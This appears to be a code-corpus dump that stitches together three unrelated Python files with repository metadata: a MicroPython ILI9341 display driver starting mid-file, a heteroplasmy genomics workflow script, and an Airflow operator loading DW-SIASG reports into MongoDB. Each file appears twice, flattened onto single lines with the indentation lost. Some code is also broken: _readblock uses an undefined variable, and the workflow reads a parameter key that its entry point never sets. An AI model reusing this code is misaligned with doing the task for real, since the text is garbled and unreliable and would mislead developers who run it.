x self._y = y def reset_scroll(self): self.scrolling = False self._scroll = 0 self.scroll(0) def set_font(self, font): self._font = font def init(self): for command, data in ( (_RDDSDR, b"\x03\x80\x02"), (_PWCRTLB, b"\x00\xc1\x30"), (_PWRONCTRL, b"\x64\x03\x12\x81"), (_DTCTRLA, b"\x85\x00\x78"), (_PWCTRLA, b"\x39\x2c\x00\x34\x02"), (_PRCTRL, b"\x20"), (_DTCTRLB, b"\x00\x00"), (_PWCTRL1, b"\x23"), (_PWCTRL2, b"\x10"), (_VMCTRL1, b"\x3e\x28"), (_VMCTRL2, b"\x86"), #(_MADCTL, b"\x48"), (_MADCTL, b"\x08"), (_PIXSET, b"\x55"), (_FRMCTR1, b"\x00\x18"), (_DISCTRL, b"\x08\x82\x27"), (_ENA3G, b"\x00"), (_GAMSET, b"\x01"), (_PGAMCTRL, b"\x0f\x31\x2b\x0c\x0e\x08\x4e\xf1\x37\x07\x10\x03\x0e\x09\x00"), (_NGAMCTRL, b"\x00\x0e\x14\x03\x11\x07\x31\xc1\x48\x08\x0f\x0c\x31\x36\x0f")): self._write(command, data) self._write(_SLPOUT) time.sleep_ms(120) self._write(_DISPON) def reset(self): self.rst(0) time.sleep_ms(50) self.rst(1) time.sleep_ms(50) def _write(self, command, data=None): self.dc(0) self.cs(0) self.spi.write(bytearray([command])) self.cs(1) if data is not None: self._data(data) def _data(self, data): self.dc(1) self.cs(0) self.spi.write(data) self.cs(1) def _writeblock(self, x0, y0, x1, y1, data=None): self._write(_CASET, ustruct.pack(">HH", x0, x1)) self._write(_PASET, ustruct.pack(">HH", y0, y1)) self._write(_RAMWR, data) def _readblock(self, x0, y0, x1, y1): self._write(_CASET, ustruct.pack(">HH", x0, x1)) self._write(_PASET, ustruct.pack(">HH", y0, y1)) if data is None: return self._read(_RAMRD, (x1 - x0 + 1) * (y1 - y0 + 1) * 3) def _read(self, command, count): self.dc(0) self.cs(0) self.spi.write(bytearray([command])) data = self.spi.read(count) self.cs(1) return data def pixel(self, x, y, color=None): if color is None: r, b, g = self._readblock(x, y, x, y) return color565(r, g, b) if not 0 <= x < self.width or not 0 <= y < self.height: return self._writeblock(x, y, x, y, ustruct.pack(">H", color)) def fill_rectangle(self, x, y, w, h, color=None): x = min(self.width - 1, max(0, x)) y = min(self.height - 1, max(0, y)) w = min(self.width - x, max(1, w)) h = min(self.height - y, max(1, h)) if color: color = ustruct.pack(">H", color) else: color = self._colormap[0:2] #background for i in range(_CHUNK): self._buf[2*i]=color[0]; self._buf[2*i+1]=color[1] chunks, rest = divmod(w * h, _CHUNK) self._writeblock(x, y, x + w - 1, y + h - 1, None) if chunks: for count in range(chunks): self._data(self._buf) if rest != 0: mv = memoryview(self._buf) self._data(mv[:rest*2]) def erase(self): self.fill_rectangle(0, 0, self.width, self.height) def blit(self, bitbuff, x, y, w, h): x = min(self.width - 1, max(0, x)) y = min(self.height - 1, max(0, y)) w = min(self.width - x, max(1, w)) h = min(self.height - y, max(1, h)) chunks, rest = divmod(w * h, _CHUNK) self._writeblock(x, y, x + w - 1, y + h - 1, None) written = 0 for iy in range(h): for ix in range(w): index = ix+iy*w - written if index >=_CHUNK: self._data(self._buf) written += _CHUNK index -= _CHUNK c = bitbuff.pixel(ix,iy) self._buf[index*2] = self._colormap[c*2] self._buf[index*2+1] = self._colormap[c*2+1] rest = w*h - written if rest != 0: mv = memoryview(self._buf) self._data(mv[:rest*2]) def chars(self, str, x, y): str_w = self._font.get_width(str) div, rem = divmod(self._font.height(),8) nbytes = div+1 if rem else div buf = bytearray(str_w * nbytes) pos = 0 for ch in str: glyph, char_w = self._font.get_ch(ch) for row in range(nbytes): index = row*str_w + pos for i in range(char_w): buf[index+i] = glyph[nbytes*i+row] pos += char_w fb = framebuf.FrameBuffer(buf,str_w, self._font.height(), framebuf.MONO_VLSB) self.blit(fb,x,y,str_w,self._font.height()) return x+str_w def scroll(self, dy): self._scroll = (self._scroll + dy) % self.height self._write(_VSCRSADD, ustruct.pack(">H", self._scroll)) def next_line(self, cury, char_h): global scrolling if not self.scrolling: res = cury + char_h self.scrolling = (res >= self.height) if self.scrolling: self.scroll(char_h) res = (self.height - char_h + self._scroll)%self.height self.fill_rectangle(0, res, self.width, self._font.height()) return res def write(self, text): #does character wrap, compatible with stream output curx = self._x; cury = self._y char_h = self._font.height() width = 0 written = 0 for pos, ch in enumerate(text): if ch == '\n': if pos>0: self.chars(text[written:pos],curx,cury) curx = 0; written = pos+1; width = 0 cury = self.next_line(cury,char_h) else: char_w = self._font.get_width(ch) if curx + width + char_w >= self.width: self.chars(text[written:pos], curx,cury) curx = 0 ; written = pos; width = char_h cury = self.next_line(cury,char_h) else: width += char_w if written<len(text): curx = self.chars(text[written:], curx,cury) self._x = curx; self._y = cury def print(self, text): #does word wrap, leaves self._x unchanged cury = self._y; curx = self._x char_h = self._font.height() char_w = self._font.max_width() lines = text.split('\n') for line in lines: words = line.split(' ') for word in words: if curx + self._font.get_width(word) >= self.width: curx = self._x; cury = self.next_line(cury,char_h) while self._font.get_width(word) > self.width: self.chars(word[:self.width//char_w],curx,cury) word = word[self.width//char_w:] cury = self.next_line(cury,char_h) if len(word)>0: curx = self.chars(word+' ', curx,cury) curx = self._x; cury = self.next_line(cury,char_h) self._y = cury

""" Copyright (c) 2017 <NAME> https://github.com/jeffmer/micropython-ili9341 Jan 6, 2018 MIT License https://github.com/jeffmer/micropython-ili9341/blob/master/LICENSE """ # This is an adapted version of the ILI934X driver as below. # It works with multiple fonts and also works with the esp32 H/W SPI implementation # Also includes a word wrap print function # Proportional fonts are generated by Peter Hinch's Font-to-py # MIT License; Copyright (c) 2017 <NAME> # This file is part of MicroPython ILI934X driver # Copyright (c) 2016 - 2017 <NAME>, <NAME> # # Licensed under the MIT license: # http://www.opensource.org/licenses/mit-license.php # # Project home: # https://github.com/tuupola/micropython-ili934x import time import ustruct import tt32 import framebuf from micropython import const _RDDSDR = const(0x0f) # Read Display Self-Diagnostic Result _SLPOUT = const(0x11) # Sleep Out _GAMSET = const(0x26) # Gamma Set _DISPOFF = const(0x28) # Display Off _DISPON = const(0x29) # Display On _CASET = const(0x2a) # Column Address Set _PASET = const(0x2b) # Page Address Set _RAMWR = const(0x2c) # Memory Write _RAMRD = const(0x2e) # Memory Read _MADCTL = const(0x36) # Memory Access Control _VSCRSADD = const(0x37) # Vertical Scrolling Start Address _PIXSET = const(0x3a) # Pixel Format Set _PWCTRLA = const(0xcb) # Power Control A _PWCRTLB = const(0xcf) # Power Control B _DTCTRLA = const(0xe8) # Driver Timing Control A _DTCTRLB = const(0xea) # Driver Timing Control B _PWRONCTRL = const(0xed) # Power on Sequence Control _PRCTRL = const(0xf7) # Pump Ratio Control _PWCTRL1 = const(0xc0) # Power Control 1 _PWCTRL2 = const(0xc1) # Power Control 2 _VMCTRL1 = const(0xc5) # VCOM Control 1 _VMCTRL2 = const(0xc7) # VCOM Control 2 _FRMCTR1 = const(0xb1) # Frame Rate Control 1 _DISCTRL = const(0xb6) # Display Function Control _ENA3G = const(0xf2) # Enable 3G _PGAMCTRL = const(0xe0) # Positive Gamma Control _NGAMCTRL = const(0xe1) # Negative Gamma Control _CHUNK = const(1024) #maximum number of pixels per spi write def color565(r, g, b): return (r & 0xf8) << 8 | (g & 0xfc) << 3 | b >> 3 class ILI9341: width = 320 height = 240 def __init__(self, spi, cs, dc, rst): self.spi = spi self.cs = cs self.dc = dc self.rst = rst self.cs.init(self.cs.OUT, value=1) self.dc.init(self.dc.OUT, value=0) self.rst.init(self.rst.OUT, value=0) self.reset() self.init() self._scroll = 0 self._buf = bytearray(_CHUNK * 2) self._colormap = bytearray(b'\x00\x00\xFF\xFF') #default white foregraound, black background self._x = 0 self._y = 0 self._font = tt32 self.scrolling = False def set_color(self,fg,bg): self._colormap[0] = bg>>8 self._colormap[1] = bg & 255 self._colormap[2] = fg>>8 self._colormap[3] = fg & 255 def set_pos(self,x,y): self._x = x self._y = y def reset_scroll(self): self.scrolling = False self._scroll = 0 self.scroll(0) def set_font(self, font): self._font = font def init(self): for command, data in ( (_RDDSDR, b"\x03\x80\x02"), (_PWCRTLB, b"\x00\xc1\x30"), (_PWRONCTRL, b"\x64\x03\x12\x81"), (_DTCTRLA, b"\x85\x00\x78"), (_PWCTRLA, b"\x39\x2c\x00\x34\x02"), (_PRCTRL, b"\x20"), (_DTCTRLB, b"\x00\x00"), (_PWCTRL1, b"\x23"), (_PWCTRL2, b"\x10"), (_VMCTRL1, b"\x3e\x28"), (_VMCTRL2, b"\x86"), #(_MADCTL, b"\x48"), (_MADCTL, b"\x08"), (_PIXSET, b"\x55"), (_FRMCTR1, b"\x00\x18"), (_DISCTRL, b"\x08\x82\x27"), (_ENA3G, b"\x00"), (_GAMSET, b"\x01"), (_PGAMCTRL, b"\x0f\x31\x2b\x0c\x0e\x08\x4e\xf1\x37\x07\x10\x03\x0e\x09\x00"), (_NGAMCTRL, b"\x00\x0e\x14\x03\x11\x07\x31\xc1\x48\x08\x0f\x0c\x31\x36\x0f")): self._write(command, data) self._write(_SLPOUT) time.sleep_ms(120) self._write(_DISPON) def reset(self): self.rst(0) time.sleep_ms(50) self.rst(1) time.sleep_ms(50) def _write(self, command, data=None): self.dc(0) self.cs(0) self.spi.write(bytearray([command])) self.cs(1) if data is not None: self._data(data) def _data(self, data): self.dc(1) self.cs(0) self.spi.write(data) self.cs(1) def _writeblock(self, x0, y0, x1, y1, data=None): self._write(_CASET, ustruct.pack(">HH", x0, x1)) self._write(_PASET, ustruct.pack(">HH", y0, y1)) self._write(_RAMWR, data) def _readblock(self, x0, y0, x1, y1): self._write(_CASET, ustruct.pack(">HH", x0, x1)) self._write(_PASET, ustruct.pack(">HH", y0, y1)) if data is None: return self._read(_RAMRD, (x1 - x0 + 1) * (y1 - y0 + 1) * 3) def _read(self, command, count): self.dc(0) self.cs(0) self.spi.write(bytearray([command])) data = self.spi.read(count) self.cs(1) return data def pixel(self, x, y, color=None): if color is None: r, b, g = self._readblock(x, y, x, y) return color565(r, g, b) if not 0 <= x < self.width or not 0 <= y < self.height: return self._writeblock(x, y, x, y, ustruct.pack(">H", color)) def fill_rectangle(self, x, y, w, h, color=None): x = min(self.width - 1, max(0, x)) y = min(self.height - 1, max(0, y)) w = min(self.width - x, max(1, w)) h = min(self.height - y, max(1, h)) if color: color = ustruct.pack(">H", color) else: color = self._colormap[0:2] #background for i in range(_CHUNK): self._buf[2*i]=color[0]; self._buf[2*i+1]=color[1] chunks, rest = divmod(w * h, _CHUNK) self._writeblock(x, y, x + w - 1, y + h - 1, None) if chunks: for count in range(chunks): self._data(self._buf) if rest != 0: mv = memoryview(self._buf) self._data(mv[:rest*2]) def erase(self): self.fill_rectangle(0, 0, self.width, self.height) def blit(self, bitbuff, x, y, w, h): x = min(self.width - 1, max(0, x)) y = min(self.height - 1, max(0, y)) w = min(self.width - x, max(1, w)) h = min(self.height - y, max(1, h)) chunks, rest = divmod(w * h, _CHUNK) self._writeblock(x, y, x + w - 1, y + h - 1, None) written = 0 for iy in range(h): for ix in range(w): index = ix+iy*w - written if index >=_CHUNK: self._data(self._buf) written += _CHUNK index -= _CHUNK c = bitbuff.pixel(ix,iy) self._buf[index*2] = self._colormap[c*2] self._buf[index*2+1] = self._colormap[c*2+1] rest = w*h - written if rest != 0: mv = memoryview(self._buf) self._data(mv[:rest*2]) def chars(self, str, x, y): str_w = self._font.get_width(str) div, rem = divmod(self._font.height(),8) nbytes = div+1 if rem else div buf = bytearray(str_w * nbytes) pos = 0 for ch in str: glyph, char_w = self._font.get_ch(ch) for row in range(nbytes): index = row*str_w + pos for i in range(char_w): buf[index+i] = glyph[nbytes*i+row] pos += char_w fb = framebuf.FrameBuffer(buf,str_w, self._font.height(), framebuf.MONO_VLSB) self.blit(fb,x,y,str_w,self._font.height()) return x+str_w def scroll(self, dy): self._scroll = (self._scroll + dy) % self.height self._write(_VSCRSADD, ustruct.pack(">H", self._scroll)) def next_line(self, cury, char_h): global scrolling if not self.scrolling: res = cury + char_h self.scrolling = (res >= self.height) if self.scrolling: self.scroll(char_h) res = (self.height - char_h + self._scroll)%self.height self.fill_rectangle(0, res, self.width, self._font.height()) return res def write(self, text): #does character wrap, compatible with stream output curx = self._x; cury = self._y char_h = self._font.height() width = 0 written = 0 for pos, ch in enumerate(text): if ch == '\n': if pos>0: self.chars(text[written:pos],curx,cury) curx = 0; written = pos+1; width = 0 cury = self.next_line(cury,char_h) else: char_w = self._font.get_width(ch) if curx + width + char_w >= self.width: self.chars(text[written:pos], curx,cury) curx = 0 ; written = pos; width = char_h cury = self.next_line(cury,char_h) else: width += char_w if written<len(text): curx = self.chars(text[written:], curx,cury) self._x = curx; self._y = cury def print(self, text): #does word wrap, leaves self._x unchanged cury = self._y; curx = self._x char_h = self._font.height() char_w = self._font.max_width() lines = text.split('\n') for line in lines: words = line.split(' ') for word in words: if curx + self._font.get_width(word) >= self.width: curx = self._x; cury = self.next_line(cury,char_h) while self._font.get_width(word) > self.width: self.chars(word[:self.width//char_w],curx,cury) word = word[self.width//char_w:] cury = self.next_line(cury,char_h) if len(word)>0: curx = self.chars(word+' ', curx,cury) curx = self._x; cury = self.next_line(cury,char_h) self._y = cury

pt

code/workflow/run_hpc_het.py

vtphan/HeteroplasmyWorkflow

13570

import subprocess import os import sys import datetime import random from configparser import ConfigParser from datetime import datetime import s03_heteroplasmy_likelihood, s04_sort_candidates, s05_select_sites, s06_location_conservation import multiprocessing def check_exist(cmd, thing): try: subprocess.check_output('%s %s' % (cmd, thing), shell=True) except subprocess.CalledProcessError: print("Error: did not find %s in path." % thing) sys.exit(0) def log_error(cmd, exec_output, exec_error, LOG_FILE): with open(LOG_FILE, 'a') as f: f.write('time: %s\ncmd: %s\noutput: %s\nexec error:%s\n' % (str(datetime.now()), cmd, exec_output, exec_error)) def log_final(no_error, argv): log_output = os.path.join(SCRIPT_DIR, 'log_align_analyze_sort.txt') with open(log_output, 'a') as f: f.write('%s %s %s %s\n' % (no_error, argv[0], argv[1], str(datetime.now()))) def process(params): ref = params['ref'] annotation = params['annotation'] dist = params['dist'] read_file = params['read_file'] out_html_name = params['out_html_name'] random_id = params['random_id'] READS_DIR = params['read_dir'] OUTPUT_DIR = params['output_dir'] LOG_FILE = params['log_file'] alignment_quality = params['alignment_quality'] score_threshold = params['score_threshold'] percentage_threshold = params['percentage_threshold'] # print(ref) # print(annotation) # print(dist) # print(read_file) # print(READS_DIR) # print(OUTPUT_DIR) # print(LOG_FILE) # print(alignment_quality) # print(score_threshold) # print(percentage_threshold) # read version with open('VERSION','r') as f: line = f.readline() version = float(line.strip()) # #-------------------------------------------------------------- SCRIPT_DIR = os.getcwd() print("\nComputing scores") # print("Version: "+str(version)) output = 'None' if not os.path.exists(OUTPUT_DIR): os.makedirs(OUTPUT_DIR) ########################################################### # 03_compute_heteroplasmy likelihood # 04_sort_sites ########################################################### check_exist('ls', annotation) csv_dir = os.path.join(OUTPUT_DIR, "csv") if not os.path.exists(csv_dir): os.makedirs(csv_dir) print("Compute heteroplasmy likelihood") P = multiprocessing.Pool() jobs = [] with open(read_file, 'r') as f: for line in f: read1 = os.path.join(READS_DIR, line.strip() + '_1.fastq') read2 = os.path.join(READS_DIR, line.strip() + '_2.fastq') name = read1.split('/')[-1].split('_R1')[0] # name = line.strip() out_csv = os.path.join(csv_dir, name+'_f2_F0x900_q'+alignment_quality+'.csv') out_filtered_sam = os.path.join(OUTPUT_DIR, name+'_f2_F0x900_q'+alignment_quality+'.sam') no_error = True output = 'None' kw = { 'ref': ref, 'out_filtered_sam': out_filtered_sam, 'annotation': annotation, 'out_csv': out_csv, } jobs.append(P.apply_async(s03_heteroplasmy_likelihood.process, (), kw)) P.close() P.join() # Sort score P = multiprocessing.Pool() jobs = [] with open(read_file, 'r') as f: for line in f: read1 = os.path.join(READS_DIR, line.strip() + '_1.fastq') read2 = os.path.join(READS_DIR, line.strip() + '_2.fastq') name = read1.split('/')[-1].split('_R1')[0] # name = line.strip() out_csv = os.path.join(csv_dir, name+'_f2_F0x900_q'+alignment_quality+'.csv') kw2 = { 'out_csv': out_csv } jobs.append(P.apply_async(s04_sort_candidates.process, (), kw2)) P.close() P.join() print ('Finished computing heteroplasmy scores.\n') ########################################################### # 05_select_sites ########################################################### print('Select heteroplasmy sites.') # run select_sites.py result_dir = os.path.join(OUTPUT_DIR,"Result") if not os.path.exists(result_dir): os.makedirs(result_dir) organellar_type = None if 'chloroplast' in out_html_name: organellar_type = 'chloroplast' if 'mitochondria' in out_html_name: organellar_type = 'mitochondria' select_sites_inputs = { 'csv_dir' : csv_dir, 'score_threshold': score_threshold, 'percentage_threshold': percentage_threshold, 'name_list' : None, 'organellar_type': organellar_type, 'result_dir': result_dir } het_file = s05_select_sites.process(select_sites_inputs) ########################################################### # 06_compute_site_conservation ########################################################### # run location_conservation.py print('\nCompute site conservation.') cp_conserved = None if organellar_type == 'chloroplast': cp_conserved = os.path.join(result_dir, "chloroplast_conserved_"+dist+".csv") if organellar_type == 'mitochondria': cp_conserved = os.path.join(result_dir, "mitochondria_conserved_"+dist+".csv") location_conservation_inputs = { 'het_file': het_file, 'func': dist, 'output': cp_conserved } s06_location_conservation.main(location_conservation_inputs) ########################################################### # 07_plot ########################################################### # run plot_heteroplasmy.py print('\nPlot heteroplasmies.') plot_heteroplasmy = os.path.join(SCRIPT_DIR, 's07_plot_heteroplasmy.py') check_exist('ls',plot_heteroplasmy) # genome_name = '"Daucus carota chloroplast genome"' if organellar_type == 'chloroplast': genome_name = '"Daucus carota chloroplast genome"' if organellar_type == 'mitochondria': genome_name = '"Daucus carota mitochondrial genome"' out_html = os.path.join(OUTPUT_DIR, out_html_name) cmd = 'python %s %s %s %s %s %s' %(plot_heteroplasmy, genome_name, annotation, het_file, cp_conserved, out_html) print(cmd) print() try: output = subprocess.check_call(cmd, shell=True) except: no_error = False log_error(cmd, output, sys.exc_info(), LOG_FILE) print("\nSuccess!\n") print("Vizualization file : ", out_html) if __name__ == '__main__': if len(sys.argv) != 13: print('Usage: python', sys.argv[0], 'ref', 'annotation', 'dist', 'read_file', 'output.html', 'random_id', 'READS_DIR', 'output_dir', 'log_file', 'alignment_quality', 'score_threshold', 'percentage_threshold') sys.exit(0) params = { 'ref': sys.argv[1], 'annotation': sys.argv[2], 'dist': sys.argv[3], 'read_file': sys.argv[4], 'out_html_name': sys.argv[5], 'random_id': sys.argv[6], 'READS_DIR': sys.argv[7], 'OUTPUT_DIR': sys.argv[8], 'LOG_FILE': sys.argv[9], 'alignment_quality': sys.argv[10], 'score_threshold': sys.argv[11], 'percentage_threshold': sys.argv[12], } process(params)

import subprocess import os import sys import datetime import random from configparser import ConfigParser from datetime import datetime import s03_heteroplasmy_likelihood, s04_sort_candidates, s05_select_sites, s06_location_conservation import multiprocessing def check_exist(cmd, thing): try: subprocess.check_output('%s %s' % (cmd, thing), shell=True) except subprocess.CalledProcessError: print("Error: did not find %s in path." % thing) sys.exit(0) def log_error(cmd, exec_output, exec_error, LOG_FILE): with open(LOG_FILE, 'a') as f: f.write('time: %s\ncmd: %s\noutput: %s\nexec error:%s\n' % (str(datetime.now()), cmd, exec_output, exec_error)) def log_final(no_error, argv): log_output = os.path.join(SCRIPT_DIR, 'log_align_analyze_sort.txt') with open(log_output, 'a') as f: f.write('%s %s %s %s\n' % (no_error, argv[0], argv[1], str(datetime.now()))) def process(params): ref = params['ref'] annotation = params['annotation'] dist = params['dist'] read_file = params['read_file'] out_html_name = params['out_html_name'] random_id = params['random_id'] READS_DIR = params['read_dir'] OUTPUT_DIR = params['output_dir'] LOG_FILE = params['log_file'] alignment_quality = params['alignment_quality'] score_threshold = params['score_threshold'] percentage_threshold = params['percentage_threshold'] # print(ref) # print(annotation) # print(dist) # print(read_file) # print(READS_DIR) # print(OUTPUT_DIR) # print(LOG_FILE) # print(alignment_quality) # print(score_threshold) # print(percentage_threshold) # read version with open('VERSION','r') as f: line = f.readline() version = float(line.strip()) # #-------------------------------------------------------------- SCRIPT_DIR = os.getcwd() print("\nComputing scores") # print("Version: "+str(version)) output = 'None' if not os.path.exists(OUTPUT_DIR): os.makedirs(OUTPUT_DIR) ########################################################### # 03_compute_heteroplasmy likelihood # 04_sort_sites ########################################################### check_exist('ls', annotation) csv_dir = os.path.join(OUTPUT_DIR, "csv") if not os.path.exists(csv_dir): os.makedirs(csv_dir) print("Compute heteroplasmy likelihood") P = multiprocessing.Pool() jobs = [] with open(read_file, 'r') as f: for line in f: read1 = os.path.join(READS_DIR, line.strip() + '_1.fastq') read2 = os.path.join(READS_DIR, line.strip() + '_2.fastq') name = read1.split('/')[-1].split('_R1')[0] # name = line.strip() out_csv = os.path.join(csv_dir, name+'_f2_F0x900_q'+alignment_quality+'.csv') out_filtered_sam = os.path.join(OUTPUT_DIR, name+'_f2_F0x900_q'+alignment_quality+'.sam') no_error = True output = 'None' kw = { 'ref': ref, 'out_filtered_sam': out_filtered_sam, 'annotation': annotation, 'out_csv': out_csv, } jobs.append(P.apply_async(s03_heteroplasmy_likelihood.process, (), kw)) P.close() P.join() # Sort score P = multiprocessing.Pool() jobs = [] with open(read_file, 'r') as f: for line in f: read1 = os.path.join(READS_DIR, line.strip() + '_1.fastq') read2 = os.path.join(READS_DIR, line.strip() + '_2.fastq') name = read1.split('/')[-1].split('_R1')[0] # name = line.strip() out_csv = os.path.join(csv_dir, name+'_f2_F0x900_q'+alignment_quality+'.csv') kw2 = { 'out_csv': out_csv } jobs.append(P.apply_async(s04_sort_candidates.process, (), kw2)) P.close() P.join() print ('Finished computing heteroplasmy scores.\n') ########################################################### # 05_select_sites ########################################################### print('Select heteroplasmy sites.') # run select_sites.py result_dir = os.path.join(OUTPUT_DIR,"Result") if not os.path.exists(result_dir): os.makedirs(result_dir) organellar_type = None if 'chloroplast' in out_html_name: organellar_type = 'chloroplast' if 'mitochondria' in out_html_name: organellar_type = 'mitochondria' select_sites_inputs = { 'csv_dir' : csv_dir, 'score_threshold': score_threshold, 'percentage_threshold': percentage_threshold, 'name_list' : None, 'organellar_type': organellar_type, 'result_dir': result_dir } het_file = s05_select_sites.process(select_sites_inputs) ########################################################### # 06_compute_site_conservation ########################################################### # run location_conservation.py print('\nCompute site conservation.') cp_conserved = None if organellar_type == 'chloroplast': cp_conserved = os.path.join(result_dir, "chloroplast_conserved_"+dist+".csv") if organellar_type == 'mitochondria': cp_conserved = os.path.join(result_dir, "mitochondria_conserved_"+dist+".csv") location_conservation_inputs = { 'het_file': het_file, 'func': dist, 'output': cp_conserved } s06_location_conservation.main(location_conservation_inputs) ########################################################### # 07_plot ########################################################### # run plot_heteroplasmy.py print('\nPlot heteroplasmies.') plot_heteroplasmy = os.path.join(SCRIPT_DIR, 's07_plot_heteroplasmy.py') check_exist('ls',plot_heteroplasmy) # genome_name = '"Daucus carota chloroplast genome"' if organellar_type == 'chloroplast': genome_name = '"Daucus carota chloroplast genome"' if organellar_type == 'mitochondria': genome_name = '"Daucus carota mitochondrial genome"' out_html = os.path.join(OUTPUT_DIR, out_html_name) cmd = 'python %s %s %s %s %s %s' %(plot_heteroplasmy, genome_name, annotation, het_file, cp_conserved, out_html) print(cmd) print() try: output = subprocess.check_call(cmd, shell=True) except: no_error = False log_error(cmd, output, sys.exc_info(), LOG_FILE) print("\nSuccess!\n") print("Vizualization file : ", out_html) if __name__ == '__main__': if len(sys.argv) != 13: print('Usage: python', sys.argv[0], 'ref', 'annotation', 'dist', 'read_file', 'output.html', 'random_id', 'READS_DIR', 'output_dir', 'log_file', 'alignment_quality', 'score_threshold', 'percentage_threshold') sys.exit(0) params = { 'ref': sys.argv[1], 'annotation': sys.argv[2], 'dist': sys.argv[3], 'read_file': sys.argv[4], 'out_html_name': sys.argv[5], 'random_id': sys.argv[6], 'READS_DIR': sys.argv[7], 'OUTPUT_DIR': sys.argv[8], 'LOG_FILE': sys.argv[9], 'alignment_quality': sys.argv[10], 'score_threshold': sys.argv[11], 'percentage_threshold': sys.argv[12], } process(params)

it

airflow/providers/siasg/dw/transfers/relatorio_para_mongo.py

CarlosAdp/airflow-providers-siasg

13571

from datetime import datetime from typing import Any, List import json import tempfile from airflow.models.baseoperator import BaseOperator from airflow.providers.mongo.hooks.mongo import MongoHook import pandas from airflow.providers.siasg.dw.hooks.dw import DWSIASGHook class DWSIASGRelatorioParaMongoOperator(BaseOperator): '''Baixa um relatório do DW-SIASG para um banco Mongo :param id_conexao: id pra conexão do tipo "dw_siasg" :type id_conexao: str :param id_relatorio: id do relatório no DW-SIASG :type id_relatorio: str :param id_conexao_mongo: id para conexão do tipo "mongo" :type id_conexao_mongo :param banco: Nome do banco :type banco: str :param colecao: Nome da coleção :type colecao: str :param repostas_prompts: lista de respostas para prompts do relatório :type repostas_prompts: List[str] :param timeout_segundos_segundos: tempo máximo de espera em segundos :type timeout_segundos_segundos: int, opcional :param truncar_colecao: `True` se coleção deve ser truncada antes da inserção e `False` caso contrário :type truncar_colecao: bool ''' template_fields = [ 'id_relatorio', 'respostas_prompts', 'banco', 'colecao' ] id_conexao: str id_relatorio: str respostas_prompts: List[str] timeout_segundos: int id_conexao_mongo: str banco: str colecao: str truncar_colecao: bool def __init__( self, id_conexao: str, id_relatorio: str, id_conexao_mongo: str, banco: str = None, colecao: str = 'test', respostas_prompts: List[str] = None, timeout_segundos: int = 60, truncar_colecao: bool = False, **kwargs ) -> None: super().__init__(**kwargs) self.id_conexao = id_conexao self.id_relatorio = id_relatorio self.respostas_prompts = respostas_prompts self.timeout_segundos = timeout_segundos self.id_conexao_mongo = id_conexao_mongo self.banco = banco self.colecao = colecao self.truncar_colecao = truncar_colecao def execute(self, context: Any) -> None: self.log.info( 'Baixando relatório "%s" para coleção do mongo "%s" com as ' 'seguintes respostas para prompts: "%s"%s', self.id_relatorio, self.colecao, self.respostas_prompts, '. Truncando coleção' if self.truncar_colecao else '' ) respostas_prompts = json.loads(self.respostas_prompts) \ if isinstance(self.respostas_prompts, str) \ else self.respostas_prompts with tempfile.NamedTemporaryFile(mode='wb') as arquivo: instante = datetime.now() with DWSIASGHook(self.id_conexao) as hook: local, _ = hook.baixa_para_excel( self.id_relatorio, arquivo.name, respostas_prompts, self.timeout_segundos ) df = pandas.read_excel(local) df.columns = df.columns.str.replace('.', '', regex=False) df['Timestamp'] = instante with MongoHook(self.id_conexao_mongo) as hook: if self.truncar_colecao: hook.delete_many(self.colecao, {}, self.banco) if len(df) > 0: inseridos = hook.insert_many( self.colecao, df.to_dict('records'), self.banco ).inserted_ids else: inseridos = [] self.log.info( 'Relatório transferido com sucesso, tendo produzido %s registros', len(inseridos) ) self.xcom_push(context, 'registros_inseridos', len(inseridos))

from datetime import datetime from typing import Any, List import json import tempfile from airflow.models.baseoperator import BaseOperator from airflow.providers.mongo.hooks.mongo import MongoHook import pandas from airflow.providers.siasg.dw.hooks.dw import DWSIASGHook class DWSIASGRelatorioParaMongoOperator(BaseOperator): '''Baixa um relatório do DW-SIASG para um banco Mongo :param id_conexao: id pra conexão do tipo "dw_siasg" :type id_conexao: str :param id_relatorio: id do relatório no DW-SIASG :type id_relatorio: str :param id_conexao_mongo: id para conexão do tipo "mongo" :type id_conexao_mongo :param banco: Nome do banco :type banco: str :param colecao: Nome da coleção :type colecao: str :param repostas_prompts: lista de respostas para prompts do relatório :type repostas_prompts: List[str] :param timeout_segundos_segundos: tempo máximo de espera em segundos :type timeout_segundos_segundos: int, opcional :param truncar_colecao: `True` se coleção deve ser truncada antes da inserção e `False` caso contrário :type truncar_colecao: bool ''' template_fields = [ 'id_relatorio', 'respostas_prompts', 'banco', 'colecao' ] id_conexao: str id_relatorio: str respostas_prompts: List[str] timeout_segundos: int id_conexao_mongo: str banco: str colecao: str truncar_colecao: bool def __init__( self, id_conexao: str, id_relatorio: str, id_conexao_mongo: str, banco: str = None, colecao: str = 'test', respostas_prompts: List[str] = None, timeout_segundos: int = 60, truncar_colecao: bool = False, **kwargs ) -> None: super().__init__(**kwargs) self.id_conexao = id_conexao self.id_relatorio = id_relatorio self.respostas_prompts = respostas_prompts self.timeout_segundos = timeout_segundos self.id_conexao_mongo = id_conexao_mongo self.banco = banco self.colecao = colecao self.truncar_colecao = truncar_colecao def execute(self, context: Any) -> None: self.log.info( 'Baixando relatório "%s" para coleção do mongo "%s" com as ' 'seguintes respostas para prompts: "%s"%s', self.id_relatorio, self.colecao, self.respostas_prompts, '. Truncando coleção' if self.truncar_colecao else '' ) respostas_prompts = json.loads(self.respostas_prompts) \ if isinstance(self.respostas_prompts, str) \ else self.respostas_prompts with tempfile.NamedTemporaryFile(mode='wb') as arquivo: instante = datetime.now() with DWSIASGHook(self.id_conexao) as hook: local, _ = hook.baixa_para_excel( self.id_relatorio, arquivo.name, respostas_prompts, self.timeout_segundos ) df = pandas.read_excel(local) df.columns = df.columns.str.replace('.', '', regex=False) df['Timestamp'] = instante with MongoHook(self.id_conexao_mongo) as hook: if self.truncar_colecao: hook.delete_many(self.colecao, {}, self.banco) if len(df) > 0: inseridos = hook.insert_many( self.colecao, df.to_dict('records'), self.banco ).inserted_ids else: inseridos = [] self.log.info( 'Relatório transferido com sucesso, tendo produzido %s registros', len(inseridos) ) self.xcom_push(context, 'registros_inseridos', len(inseridos))

pt

utils/extractor.py

nwoodward/twarc

13572

